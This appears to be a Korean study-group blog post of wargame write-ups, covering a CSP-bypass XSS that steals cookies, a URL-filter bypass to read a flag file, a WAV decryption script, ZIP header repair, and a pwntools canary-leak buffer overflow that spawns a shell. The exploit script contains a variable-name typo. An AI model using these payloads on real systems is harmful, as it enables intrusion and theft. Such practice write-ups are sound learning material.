본문 바로가기

4-1. 2024-2 심화 스터디/워게임 도장 깨기

[3주차] 241001 워게임 도장 깨기

스터디 방식 : 매주 워게임 문제 관련 개념 및 풀이 방법 공유 


Web 1 - CSP-Bypass

문제 첫 화면

코드 설명

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


#특정 url 열고 지정된 쿠키 추가
#cookie -> 쿠키 이름, 값, 도메인 설정
#설정된 cookie 추가 후 url로 이동해 성공여부 반환
def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

#XSS취약점 유무 판단
#param을 url파라미터로 인코딩해 vuln경로 요청 보내고 xss 공격 가능한지 테스트
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


#script-src정책에서 nonce 사용해 스크립트 실행 제어
####default-src, img-src, style-scr 등 CSP 규칙 설정###
#nonce는 요청마다 새롭게 생성
@app.after_request
def add_header(response):
    global nonce
    response.headers[
        "Content-Security-Policy"
    ] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
    nonce = os.urandom(16).hex()
    return response


#페이지 열었을 때 index.html 렌더링, nonce 값 전달
@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


#/vuln경로 요청 시 전달된 param
####전달된 입력값을 그대로 출력하므로 !!!xss 취약점 발생 가능!!!####
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


#xss성공하면 good, 실패하면 wrong
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'


memo_text = ""


#memo 보여주는 함수
@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    ### 전달된 템플릿 변수 기록 시 html 엔티티 코드로 변환해 저장하므로 xss 발생 불가
    return render_template("memo.html", memo=memo_text, nonce=nonce)


app.run(host="0.0.0.0", port=8000)

 

CSP란?
Content Security Policy, 콘텐츠 보안 정책
XSS -> 페이지 내 js 구문 삽입 -> 마치 원래 페이지 콘텐츠인 것처럼 브라우저 속이고 동일 출처 정책 우회
==>페이지 콘텐츠에서 사용하는 자원들이 모두 웹 서버에서 의도한 자원인지 확인하기 위해 Content Security Policy(CSP) 탄생
XSS/데이터 삽입 류의 공격 발생 시 피해 줄이고 웹 관리자가 공격 시도를 보고 받을 수 있도록 새로 추가된 보안 계층
웹 페이지에 사용될 수 있는 자원 위치, 출처 등에 제약 걸 수 있음

 

nonce
: 특정 상황에서만 쓰기 위해 만든 말/표현
script와 같이 쓰일 때 script 태그의 화이트리스트에 스크립트 등록하기 위한 일회용 암호 역할
암호화 숫자 지정해 CSP 주어진 지정된 요소 진행하도록 허용할지의 여부 결정

 

default-src : -src로 끝나는 모든 지시문 기본 동작 제어, CSP 구문 내 지정 X 지시문은 해당 정의를 따른다
img-src : 이미지 로드할 수 있는 출처 제어
style-src : 스타일시트 관련 권한, 출처 제어
script-src : 스크립트 태그 관련 권한, 출처제어

 

self 출처

: 페이지 현재 출처 내 로드하는 리소스만 허용

 

공격자는 nonce 값 알 수 없어서 XSS 취약점 존재해도 일반적인 방법으로 공격 수행 불가

 

 

vuln페이지의 url

http://host3.dreamhack.games:21656/vuln?param=%3Cimg%20src=https://dreamhack.io/assets/img/logo.0a8aabe.svg%3E

뒤의 파라미터에 xss 실행 코드를 넣었는데

http://host3.dreamhack.games:21656/vuln?param=<script>alert(1);</script>

다음과 같이 보안 정책(CSP)로 XSS가 실행되지 않는다. (Inline Code)

CSP 정책에서 허용하고 있는 출처 : self
nonce 예측하는 것 불가능.
같은 출처 내 파일 업로드하거나 우리가 원하는 내용 반환하는 페이지 존재 시 -> 공격 이용 가능
=> vuln 페이지 취약하므로 이용하기

 

문제 해결

 

vuln 엔드포인트에서 발생한 xss취약점 통해 임의 사용자 쿠키 탈취하기

script태그의 src를 vuln페이지로 사용 -> self 출처 위반하지 않고 원하는 스크립트 로드 가능

 

 

<script>...</script> 내부에 작성하지 않고 scr 속성에 코드 경로를 정의해

<script src="/vuln?param=document.location='/memo?memo='%2bdocument.cookie"></script>
을 쓰면 익스플로잇 가능하다.

 

스크립트 부분은 두 단계를 거처 파라미터로 해석 됨.
url decoding 되어 공백으로 해석되지 않도록 +를 %2b로 썼다.

location.href : 전체 url 반환/url 업데이트할 수 있는 속성값
document.cookie : 해당 페이지 사용하는 쿠키 읽고 쓰는 속성값

 

 

Web 2 - Deram Gallery

문제 첫 화면

  • 서버에 이미지 요청, 파일 업로드 페이지가 존재하는데 특이점이 없어보여 바로 문제파일을 살펴봄
  • 외부로 요청하는 기능이 안전한지 모르겠다는 힌트를 활용해 request 부분을 주의해서 보면 될 것 같음

전체 코드

from flask import Flask, request, render_template, url_for, redirect
from urllib.request import urlopen
import base64, os

app = Flask(__name__)
app.secret_key = os.urandom(32)

mini_database = []


@app.route('/')
def index():
    return redirect(url_for('view'))


@app.route('/request')
def url_request():
    url = request.args.get('url', '').lower()
    title = request.args.get('title', '')
    if url == '' or url.startswith("file://") or "flag" in url or title == '':
        return render_template('request.html')

    try:
        data = urlopen(url).read()
        mini_database.append({title: base64.b64encode(data).decode('utf-8')})
        return redirect(url_for('view'))
    except:
        return render_template("request.html")


@app.route('/view')
def view():
    return render_template('view.html', img_list=mini_database)


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'POST':
        f = request.files['file']
        title = request.form.get('title', '')
        if not f or title == '':
            return render_template('upload.html')

        en_data = base64.b64encode(f.read()).decode('utf-8')
        mini_database.append({title: en_data})
        return redirect(url_for('view'))
    else:
        return render_template('upload.html')


if __name__ == "__main__":
    img_list = [
        {'초록색 선글라스': "static/assetA#03.jpg"}, 
        {'분홍색 선글라스': "static/assetB#03.jpg"},
        {'보라색 선글라스': "static/assetC#03.jpg"}, 
        {'파란색 선글라스': "static/assetD#03.jpg"}
    ]
    for img in img_list:
        for k, v in img.items():
            data = open(v, 'rb').read()
            mini_database.append({k: base64.b64encode(data).decode('utf-8')})
    
    app.run(host="0.0.0.0", port=80, debug=False)

코드 설명

def url_request():
    url = request.args.get('url', '').lower()
    title = request.args.get('title', '')
    if url == '' or url.startswith("file://") or "flag" in url or title == '':
        return render_template('request.html')

    try:
        data = urlopen(url).read()
        mini_database.append({title: base64.b64encode(data).decode('utf-8')})
        return redirect(url_for('view'))
    except:
        return render_template("request.html")
  • url을 입력받고 해당 url로 이동하여 데이터를 받아옴.
  • 그런데, “file://”와 “flag”를 우회해서 작성해야 함
  1. [file://](file://) 우회 방법
    • 공백 + file://
    • <file://>
    • file:/
    → 구글링하면 다양한 우회방법이 존재함
  2. flag 우회 방법
    • f를 url 인코딩하여 %66lag.txt로 우회함

file:/%66lag.txt

 

  • 이미지 요청 페이지에 우회방법을 써 아래와 같이 작성 후 제출
  • 개발자 도구를 활용하여 코드를 살펴보니 base64로 인코딩된 값이 보임
  • 해당 값을 base64로 디코딩

 

Reversing - Hspace Waving-for-user

문제 첫 화면

 

main 함수

 

sub_11F0 함수를 호출하는 것을 확인할 수 있다.

 

sub_11F0함수

input 파일에서 2바이트씩 읽어 ROR8 연산을 수행하고 그 값을 sub_1190의 인자값으로 전송한다.

이후 sub_1190의 함수의 반환값을 다시 ROR8 연산을 수행하여 output 파일에 적는다.

 

10101100 00000000

⇒ ROR8

⇒ 00000000 10101100

⇒ sub_1190(00000000 10101100)

⇒ ROR 8

⇒ 8바이트씩 연산 (즉, 상하위 바이트 값이 바뀜)

sub_1190 함수

 

a1 & 1 : a1의 최하위 비트 추출

00000000 10101101 ⇒ 1

2 * v3 : 왼쪽으로 1비트 시프트

00000000 00000000

and 연산 : a1의 최하위 비트를 v3에 최하위 비트에 삽입

00000000 00000000 ⇒ 00000000 00000001

a1 >> 1 : a1의 최하위 비트를 버림

0000000 01010110

즉, 상하위 비트를 역순으로 뒤집는 연산을 수행

 

복호화 코드

import struct
import sys

def reverse_sub_1190(a1):
    result = 0
    a1 = a1 & 0xffff    #입력값 16비트로 제한
    for i in range(16): #비트 역순 정렬
        result = (result << 1) | (a1 & 1)
        a1 >>= 1
    return result

def decrypt_wav(input_file, output_file):
    with open(input_file, 'rb') as infile, open(output_file, 'wb') as outfile:
        header = infile.read(44)
        outfile.write(header)

        while True:
            chunk = infile.read(2)
            if len(chunk) < 2:
                break

            v4 = struct.unpack('<H', chunk)[0]

            #ROR8
            v4 = ((v4 << 8) & 0xFF00) | ((v4 >> 8) & 0x00FF)

            v4 = reverse_sub_1190(v4)

            #ROR8
            v4 = ((v4 << 8) & 0xFF00) | ((v4 >> 8) & 0x00FF)

            outfile.write(struct.pack('<H', v4))

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"사용법: python {sys.argv[0]} <입력_암호화된_WAV> <출력_복호화된_WAV>")
        sys.exit(1)

    input_file = sys.argv[1]
    output_file = sys.argv[2]
    decrypt_wav(input_file, output_file)

hspace{call_my_phone_right_now_you_know_i_hype_you_boy}

 

필요 개념

  • 비트 연산:
    • AND(&) : 두 비트가 모두 1일 때만 1을 반환
    • OR(|) : 두 비트 중 하나라도 1이면 1을 반환
    • 시프트 연산 : 비트를 왼쪽(<<) 또는 오른쪽(>>)으로 이동
  • 비트 회전 (ROR, ROL):
    • 비트를 오른쪽 또는 왼쪽으로 회전시키는 연산
    • ROR(x, r) = (x >> r) OR (x << (n - r))
  • 파일 입출력 관련 API:
    • fopen()
      • 파일을 열고 FILE* 타입의 파일 포인터를 반환
      • 사용법: FILE* fopen(const char* filename, const char* mode);
    • fread()
      • 파일에서 데이터를 읽음
      • 사용법: size_t fread(void* ptr, size_t size, size_t count, FILE* stream);
    • fwrite()
      • 파일에 데이터를 씀
      • 사용법: size_t fwrite(const void* ptr, size_t size, size_t count, FILE* stream);
    • fclose()
      • 열린 파일을 닫음
      • 사용법: int fclose(FILE* stream);
    • 파일 포인터 (FILE*)
      • C 표준 라이브러리에서 사용되는 파일 스트림에 대한 추상화된 포인터
      • 파일의 현재 위치, 버퍼링 정보 등을 포함
    • 파일 핸들 (HANDLE)
      • Windows API에서 사용되는 파일 리소스에 대한 참조
      • 운영 체제 수준의 파일 액세스를 제공

Forensic - ZIP

http://xcz.kr/START/prob/prob27.php

파일을 열어주면, 이름 없는 파일과 flag.rar이라는 파일 총 두 개가 들어있었다.

 

위와 같이 zip 파일의 일반적인 구조는 크게 3개의 파일 구조(Local File Header, Central Directory, End of central directory record)로 되어 있다.

이때, 파일 하나 당 하나의 Local File Header, Central Directory는 반드시 가져야 한다.

이 문제에서 제공된 압축 파일 내부의 파일은 2개다. 따라서 2개의 Local File Header, 2개의 Central Directory, 1개의 End of central directory record를 가져야 정상적인 파일 구조라고 할 수 있다.

 

이름 없는 파일의 Local File Header
flag.rar의 Local File Header
flag.rar의 Central Directory

  • 이름 없는 파일의 Central Directory 부분이 빠져 있는 것을 확인할 수 있었다. 따라서 문제에서 주어진 압축 파일은 손상된 압축 파일임을 알 수 있었고, 이름 없는 파일의 Central Directory 부분을 복구하면 된다.

위의 사진을 보면 알 수 있듯이, Local File Header와 Central Directory의 구조에서 겹치는 부분이 있다. 이를 토대로 봤을 때 이름 없는 파일의 Local File Header를 참고해 Central Directory 부분을 채워 주면 된다.

  • Signature: 50 4B 03 04
  • Version: 14 00
  • Bit Flags: 00 00
  • 압축 방식: 08 00
  • 수정 시간: D2 BE
  • 수정 날짜: 50 43
  • CRC: EC BD 08 97
  • 압축 크기: 71 05 00 00
  • 원본 크기: 76 05 00 00
  • 파일 이름 길이: 09 00
  • 추가 필드 길이: 08 00
  • 파일명: 00 00 00 00 00 00 00 00 00

위의 내용을 토대로 Central Directory에 들어갈 내용을 작성했다.

  • Signature: 50 4B 01 02
  • Version: 14 00
  • need.ver: 14 00
  • Bit Flags: 00 00
  • 압축 방식: 08 00
  • 수정 시간: D2 BE
  • 수정 날짜: 50 43
  • CRC: EC BD 08 97
  • 압축 크기: 71 05 00 00
  • 원본 크기: 76 05 00 00
  • 파일 이름 길이: 09 00
  • 추가 필드 길이: 08 00
  • 파일 코멘트 길이: 00 00
  • 디스크 번호 시작: 00 00
  • 파일 속성: 01 00 20 00 00 00
  • 로컬 헤더 offset: 00 00 00 00
  • 파일명: 00 00 00 00 00 00 00 00 00

→ 복구를 해준다.

 

이름없는 파일이 복구가 되고, 해당 파일에 적혀있는 pw를 rar에 넣어주면

풀린다.


EOCD란?

zip 파일 구조

  • Local File Header와 Central Header이 3세트가 있음 = zip 파일 안에 3개의 파일이 압축되었다는 것을 의미

Local Directory

  • 압축 대상 파일의 압축 데이터 저장
    • Local File Header
    • File Data
    • Data Descriptor
  • 압축 대상 파일의 메타 데이터를 저장
    • Central Directory File Header
    • End of Central Directory(EOCD)

EOCD 구조

zip 파일을 최초 실행 시, EOCD로 이동하게 됨

 

풀이(Develop.ing)

1. 문제 파일

  • zipzipzip.zip이라는 압축 파일을 탐색기에서 확인하면 그 안에 hello.txt(1KB)와 zipzip.zip(51KB) 두 파일이 들어있는 것을 확인할 수 있다.

  • hello.txt를 읽어보면 “Let’s seeee the end of…!!”라는 문구가 적혀있고 정상적으로 잘 열리며 용량도 작은 것을 보아하니 그 외 다른 특이점은 없는 것 같다.

  • 반면 zipzipzip.zip 파일 안에는 두 파일이 있는 것을 확인할 수 있지만, 정상적인 방법으로는 압축해제가 되지 않고 복구도 되지 않는 것을 확인할 수 있다.

2. HxD로 분석하기

HxD 도구로 zipzipzip.zip을 열어보면 다음과 같은 모습을 볼 수 있다. zip 압축 파일의 헤더 시그니처는 50 4B 로, Ctrl+F를 사용하여 16진수 값을 검색해준다.

zip 파일에 있는 첫 번째 문서는 pdf로, “Renaissance.pdf”라는 파일명을 가지고 있는 것을 확인할 수 있다.

두 번째 문서는 txt로, “sign.txt”라는 메모장 제목임을 의미한다.

 

3. zip 파일 분석

  • 압축이 정상적으로 해제되지 않은 zip 파일에서 확인할 수 있었던 문서 개수는 총 2개로, “Renaissance.pdf”와 “sign.txt”외에 다른 문서는 없는 것을 알 수 있다. 방금 문서명을 확인하였을 때, 50 4B 03 04 라는 구조로 확인을 하였다. 이는 zip 압축 파일의 “Local Header”를 의미하는 것이다.

Local Header

- 시그니처 : 50 4B 03 04

- 최종 파일 수정 시간 및 압축된 데이터 크기, 원본 데이터 크기, 파일 이름 등을 확인할 수 있음

“sign.txt”라는 문서명을 확인한 다음에는, Offset CAB3 ~ Offset CB26에서 50 4B 01 02 라는 시그니처로 시작하는 부분을 연속적으로 확인할 수 있다. 이는 Central Directory로, 압축된 데이터의 크기와 파일 이름 등을 확인할 수 있는 압축 파일 구조 중 한 부분이다. 그러나 Central Directory의 0x2E부터는 파일 이름이 들어가야하는 부분이지만, 두 문서의 Cetnral Directory에서는 Local Header 부분과 다르게 파일 이름이 지워진 것을 확인할 수 있다.

Zip 파일의 Central Directory File Header

  • 위 파일 구조를 참고하였을 때, 0x14부터 압축된 파일 사이즈 및 원본 파일 사이즈 등을 확인할 수 있다. 따라서 파일 구조를 분석하였을 때 용량이 더 큰 Central Directory에는 “Renaissance.pdf”의 파일명을, 용량이 더 작은 Central Direcotry에는 “sign.txt” 파일명을 작성하여 손상된 header 부분을 복구해주도록 하겠다.

  • 첫 번째 Central Directory Header 부분을 살펴보면, 0x0000CA35가 압축된 파일 크기를 의미함을 알 수 있다. 이는 10진수로 변환하면 51,765로 pdf의 Central Directory임을 알 수 있다.
  • 동일한 방식으로 두 번째 Central Direcotry Header 부분을 살펴보면 0x0000002B로 파일 크기가 43인 sign.txt임을 알 수 있다.

따라서 위와 같이 파일명을 알맞은 위치에 기입을 해준다.

4. 압축 해제

정상적으로 파일명이 나와있으며, 압축이 풀리는 것을 확인할 수 있다.

sign.txt에는 “~의 끝부분에는 여전히 이상한 것이 있다…”라고 영문으로 적혀있다.

zipzipzipzip.zip에 들어있던 또다른 문서 파일인 “Renaissance.pdf”에는 영어로 된 시가 쭉 작성되어 있다.

문서는 총 5페이지로, 끝까지 내려봐도 특별한 정황 및 문구는 없었다. HxD로 숨겨진 단서 등이 있는지 확인을 해보자.

확장자인 pdf의 푸터 시그니처인 25 45 4F 46 의 뒷 부분에 문구가 작성되어 있는 것을 보아, sign.txt가 나름의 힌트를 주고 있던 것 같다. zip 파일의 구조 복구만 하였다면 pdf에 숨겨진 flag는 손쉽게 찾을 수 있었다. 

 

Pwnable - ssp_001

익스플로잇 코드 작성 복습, 카나리 보호기법을 곁들인

32bit 아키텍처

Canary와 NX 방어기법 걸려있음

보호기법 탐지

checksec ssp_001

Canary와 NX가 걸려있음

 

보호기법

Stack Canary

-버퍼와 SFP 사이에 임의의 데이터를 삽입하여 버퍼 오버플로우를 탐지하는 기법

-에필로그에서 해당 값을 확인하여 메모리가 변조되었는지 확인

NX (= No eXecute)

-코드 실행 가능한 메모리 영역과 쓰기 가능한 메모리 영역을 분리하는 기법

-NX bit 적용된 바이너리는 코드영역 외에 실행권한 없음

→ NX bit 적용되지 않은 바이너리는 스택, 힙, 데이터 영역에도 실행 권한 존재

ssp_001.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

 

get_shell 함수 있음

case ‘P’

→ print_box 함수를 통해 box의 index의 맞는 값 출력, scanf에서 크기 제한을 안하고 있기 때문에 box 넘는 값도 출력 가능

 

case ‘E’

→ scanf에서 idx 크기 제한이 없어 box 크기보다 더 입력되어 BOF 발생

 

gdb ssp_001

pwndbg> disass main
Dump of assembler code for function main:
   0x0804872b <+0>:     push   ebp  //prolog
   0x0804872c <+1>:     mov    ebp,esp  //prolog
   0x0804872e <+3>:     push   edi  //데이터 조작 또는 복사 시 목적지의 주소 저장됨
   0x0804872f <+4>:     sub    esp,0x94  //스택의 148byte 만큼 공간 확보
   0x08048735 <+10>:    mov    eax,DWORD PTR [ebp+0xc]  //ebp+0xc 주소의 들어있는 데이터에 32byte 만큼의 데이터를 eax의 복사
   0x08048738 <+13>:    mov    DWORD PTR [ebp-0x98],eax  //eax의 있는 데이터를 ebp-0x98 주소의 eax 값 저장
   0x0804873e <+19>:    mov    eax,gs:0x14  //0x14를 eax의 복사
   0x08048744 <+25>:    mov    DWORD PTR [ebp-0x8],eax  //eax의 값을 ebp-0x8의 주소의 복사
   0x08048747 <+28>:    xor    eax,eax  //eax 값과 eax 값 xor 연산
   0x08048749 <+30>:    lea    edx,[ebp-0x88]  //ebp-0x88 주소의 있는 값의 주소를 edx의 저장
   0x0804874f <+36>:    mov    eax,0x0  //eax의 0x0 값 복사
   0x08048754 <+41>:    mov    ecx,0x10  //ecx의 0x10 값 복사
   0x08048759 <+46>:    mov    edi,edx  //edi의 edx 값 복사
   0x0804875b <+48>:    rep stos DWORD PTR es:[edi],eax  //eax의 값을 edi 주소의 저장하는 데 ecx 값이 0이 될 때까지 반복
   0x0804875d <+50>:    lea    edx,[ebp-0x48]  //ebp-0x48 주소가 가리키는 값의 주소를 edx의 저장
   0x08048760 <+53>:    mov    eax,0x0  //0x0을 eax의 복사
   0x08048765 <+58>:    mov    ecx,0x10  //0x10을 ecx의 복사
   0x0804876a <+63>:    mov    edi,edx  //edx 값을 edi의 복사
   0x0804876c <+65>:    rep stos DWORD PTR es:[edi],eax  //eax의 값을 edi 주소의 저장하는 데 ecx 값이 0이 될 때까지 반복
   0x0804876e <+67>:    mov    WORD PTR [ebp-0x8a],0x0
   0x08048777 <+76>:    mov    DWORD PTR [ebp-0x94],0x0
   0x08048781 <+86>:    mov    DWORD PTR [ebp-0x90],0x0
   0x0804878b <+96>:    call   0x8048672 <initialize>  //initialize 함수 호출
   0x08048790 <+101>:   call   0x80486f1 <menu> //menu 함수 호출
   0x08048795 <+106>:   push   0x2  //push 2
   0x08048797 <+108>:   lea    eax,[ebp-0x8a]  //eax = select
   0x0804879d <+114>:   push   eax  //select
   0x0804879e <+115>:   push   0x0  //push 0
   0x080487a0 <+117>:   call   0x80484a0 <read@plt>  //read 함수를 통해 menu select
   0x080487a5 <+122>:   add    esp,0xc
   0x080487a8 <+125>:   movzx  eax,BYTE PTR [ebp-0x8a]
   0x080487af <+132>:   movsx  eax,al
   0x080487b2 <+135>:   cmp    eax,0x46  //ASCII 0x46 = F, 비교
   0x080487b5 <+138>:   je     0x80487c6 <main+155>  //case 'F'
   0x080487b7 <+140>:   cmp    eax,0x50  //ASCII 0x46 = P, 비교
   0x080487ba <+143>:   je     0x80487eb <main+192>  //case 'P'
   0x080487bc <+145>:   cmp    eax,0x45  //ASCII 0x46 = E, 비교
   0x080487bf <+148>:   je     0x8048824 <main+249>  //case 'E'
   0x080487c1 <+150>:   jmp    0x804887a <main+335>  //맞는 경우가 없으면 다시 menu 함수 호출
   0x080487c6 <+155>:   push   0x804896c  //case 'F'
   0x080487cb <+160>:   call   0x80484b0 <printf@plt>
   0x080487d0 <+165>:   add    esp,0x4
   0x080487d3 <+168>:   push   0x40  //push 0x40
   0x080487d5 <+170>:   lea    eax,[ebp-0x88]  //box 위치
   0x080487db <+176>:   push   eax
   0x080487dc <+177>:   push   0x0
   0x080487de <+179>:   call   0x80484a0 <read@plt>  //read(0, box, 0x40)
   0x080487e3 <+184>:   add    esp,0xc
   0x080487e6 <+187>:   jmp    0x804887a <main+335>
   0x080487eb <+192>:   push   0x8048979  //case 'P'
   0x080487f0 <+197>:   call   0x80484b0 <printf@plt>
   0x080487f5 <+202>:   add    esp,0x4
   0x080487f8 <+205>:   lea    eax,[ebp-0x94]  //index위치
   0x080487fe <+211>:   push   eax
   0x080487ff <+212>:   push   0x804898a  //%d
   0x08048804 <+217>:   call   0x8048540 <__isoc99_scanf@plt>  //scanf("%d", &idex)
   0x08048809 <+222>:   add    esp,0x8
   0x0804880c <+225>:   mov    eax,DWORD PTR [ebp-0x94]
   0x08048812 <+231>:   push   eax
   0x08048813 <+232>:   lea    eax,[ebp-0x88]
   0x08048819 <+238>:   push   eax
   0x0804881a <+239>:   call   0x80486cc <print_box>
   0x0804881f <+244>:   add    esp,0x8
   0x08048822 <+247>:   jmp    0x804887a <main+335>
   0x08048824 <+249>:   push   0x804898d  //case 'E'
   0x08048829 <+254>:   call   0x80484b0 <printf@plt>
   0x0804882e <+259>:   add    esp,0x4
   0x08048831 <+262>:   lea    eax,[ebp-0x90]  //name_len 위치
   0x08048837 <+268>:   push   eax
   0x08048838 <+269>:   push   0x804898a
   0x0804883d <+274>:   call   0x8048540 <__isoc99_scanf@plt>
   0x08048842 <+279>:   add    esp,0x8
   0x08048845 <+282>:   push   0x804899a
   0x0804884a <+287>:   call   0x80484b0 <printf@plt>
   0x0804884f <+292>:   add    esp,0x4
   0x08048852 <+295>:   mov    eax,DWORD PTR [ebp-0x90]  //eax = name_len
   0x08048858 <+301>:   push   eax  //push name_len
   0x08048859 <+302>:   lea    eax,[ebp-0x48]  //name 위치
   0x0804885c <+305>:   push   eax
   0x0804885d <+306>:   push   0x0
   0x0804885f <+308>:   call   0x80484a0 <read@plt>  read(0, name, name_len)
   0x08048864 <+313>:   add    esp,0xc
   0x08048867 <+316>:   mov    eax,0x0
   0x0804886c <+321>:   mov    edx,DWORD PTR [ebp-0x8]  //canary 위치
   0x0804886f <+324>:   xor    edx,DWORD PTR gs:0x14
   0x08048876 <+331>:   je     0x8048884 <main+345>
   0x08048878 <+333>:   jmp    0x804887f <main+340>
   0x0804887a <+335>:   jmp    0x8048790 <main+101>
   0x0804887f <+340>:   call   0x80484e0 <__stack_chk_fail@plt>
   0x08048884 <+345>:   mov    edi,DWORD PTR [ebp-0x4]
   0x08048887 <+348>:   leave
   0x08048888 <+349>:   ret

get_shell

0x80486b9

 

→ 메뉴 P로 canary leak!

canary 값을 4byte 출력해야 함, box~canary 까지 거리 기준으로 구해야 함 *box에서 bof가 발생하기 때문

box~canary까지 128byte이고 4byte니깐 128~131까지 주면 canary를 leak할 수 있음

 

→ 메뉴 E로 BOF

ret을 get_shell 주소로 덮어야 함

 

익스플로잇 코드

from pwn import *
p = remote("host3.dreamhack.games", 23903)

context.arch = "i386"

get_shell_addr = 0x080486b9

#canary
canary = b''

for i in range(128, 132):
	p.sendafter(b"> ", "P")
	p.sendlineafter(b"Element index : ", str(i))
	p.recvuntil(b"is : ")
	canary = p.recvuntil(b"\n")[0:2] + canary

canary = p32(int(capnary, 16))

#BOF
payload = b'A' * 0x40
payload += canary
payload += b'B' * 0x8
payload += p32(get_shell_addr)

p.sendlineafter(b"> ", "E")
p.sendlineafter(b"Name Size : ", str(1000))
p.sendlineafter(b"Name : ", payload)

p.interactive()

python3 s1.py

$ ls

flag